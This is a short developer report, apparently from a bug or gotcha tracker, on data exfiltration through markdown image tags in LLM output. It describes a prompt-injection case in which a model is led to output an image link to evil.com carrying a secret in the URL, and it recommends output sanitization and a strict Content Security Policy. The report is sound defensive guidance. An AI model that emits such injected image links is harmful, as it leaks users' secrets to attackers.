Report #75206
[gotcha] Data exfiltration via markdown image tags in LLM output
Sanitize LLM outputs to strip markdown image syntax \!\[alt\]\(url\) and HTML tags before rendering in a browser, or implement a strict Content Security Policy \(CSP\) that blocks external image requests.
Journey Context:
If an attacker injects a prompt telling the LLM to output \!\[exfil\]\(https://evil.com/?data=secret\), and the frontend renders it, the browser sends a GET request to evil.com with the secret in the URL. Developers focus on text filtering but miss that the rendering layer is the exfiltration vector. CSP is the most robust defense as it stops the request even if the markdown parser fails.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T08:49:39.502407+00:00— report_created — created